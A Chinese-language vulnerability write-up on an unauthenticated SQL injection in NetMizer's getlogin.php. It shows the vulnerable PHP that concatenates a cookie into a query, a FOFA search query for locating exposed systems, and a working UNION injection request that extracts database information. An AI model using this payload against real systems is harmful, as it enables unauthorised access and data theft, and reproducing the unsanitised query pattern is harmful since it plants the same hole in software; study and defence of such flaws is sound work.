漏洞简介
NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具,能够高效采集、存储和分析网络设备及应用的日志数据。然而,该系统中的 /data/login/getlogin.php 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用SQL注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。
影响版本
老旧版本
fofa语法
body="日志管理系统" && body="NetMizer"
漏洞分析
看下 /data/login/getlogin.php 业务实现关键逻辑部分
<?php
include('../include/JSON.php');
$conn_id = mysql_connect($dsn,$dbuser,$dbpasswd);
mysql_select_db("sysmonitor");
$usersessionid= $_COOKIE["usersessionid"];
$sqlstr = "SELECT DISTINCT user_name,login_ip from tbl_admin_session where session_id='$usersessionid' ";
$res=mysql_query($sqlstr);
while($row = mysql_fetch_array($res,MYSQL_BOTH)){
$user_name = $row["user_name"];
$login_ip = long2ip($row["login_ip"]);
}
$str = array("success"=>'success', "usersessionid"=>$user_name, "userip"=>$login_ip);
$json = json_encode($str);
mysql_close($conn_id);
echo $json;
?>
Cookie 里的 usersessionid 被直接拼接进SQL语句中,无任何过滤或校验,造成SQL注入漏洞。
漏洞复现
漏洞利用示例
GET /data/login/getlogin.php HTTP/1.1
Host: netmizer.mrxn.net
Cookie: usersessionid=' UNION ALL SELECT CONCAT(0x7e,user(),0x7e),NULL-- -
通过union注入,成功得到数据库用户信息


